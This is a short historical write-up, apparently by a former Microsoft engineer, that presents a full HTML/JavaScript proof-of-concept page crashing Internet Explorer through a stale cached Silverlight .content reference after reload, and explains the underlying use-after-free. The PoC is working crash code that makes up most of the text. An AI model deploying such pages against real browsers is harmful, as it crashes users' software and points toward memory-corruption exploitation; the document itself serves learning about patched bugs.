I was exploring whether the cached-object pattern that worked with Flash and iframe Document references also applied to Silverlight plugin objects. It did, and with an interesting twist: caching the .content property of a dynamically inserted Silverlight <object> element (created via insertAdjacentHTML) and then reloading the page caused a crash the moment you tried to access the stale reference.

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head><title>DoS_Silverlight_insertAdjacent_Cached_Content</title></head>
<body>
<center>
<font face="Tahoma" size="2">
<h2>DoS_Silverlight_insertAdjacent_Cached_Content</h2>
</center>
1) Create a Silverlight object dynamically. In this case, we use insertAdjacentHTML.<br />
<font color="blue">document.body.<b>insertAdjacentHTML</b>('beforeEnd','&lt;object id="obj" ... &gt;&lt;/object&gt;');</font><br /><br />

2) Cache the "content" object from of that Silverlight object.<br />
<font color="blue">opener = document.all.obj.content;</font><br /><br />

3) <b>Reload page</b> and try to access the cached object.<br />
<font color="blue">alert(opener);</font><br /><br />

</font>

<script language="JavaScript">
//	First load (no window opener) just create the Silverlight object and cache it to the opener of this window.
if (!window.opener)
{
	document.body.insertAdjacentHTML('beforeEnd','<object id="obj" width="300" height="100" classid="CLSID:32C73088-76AE-40F7-AC40-81F62CB2C1DA"></object>');
	opener = document.all.obj.content;
	location.reload();
}
//	After reload (window.opener is the cached silverlight content object).
else
{
	alert("The Crash is right here:\nWhen we try to access the cached 'content' object.");
	alert(opener);	// Crash is right here!
}
</script>
</body>
</html>

The Silverlight plugin exposes a .content property on its host <object> element, and IE’s script engine holds a COM reference to it. When the page reloads, the <object> element is torn down and the underlying COM object is released — but the cached reference in window.opener still points at the freed memory. Accessing opener after the reload dereferences that dangling pointer and crashes the browser process. The fact that insertAdjacentHTML was used to create the element (rather than static markup) did not change the behavior; it was the .content cache combined with a page reload that was the issue.

Found during my years at Microsoft (2006–2014). These bugs were patched long ago — shared here as a historical record for learning purposes.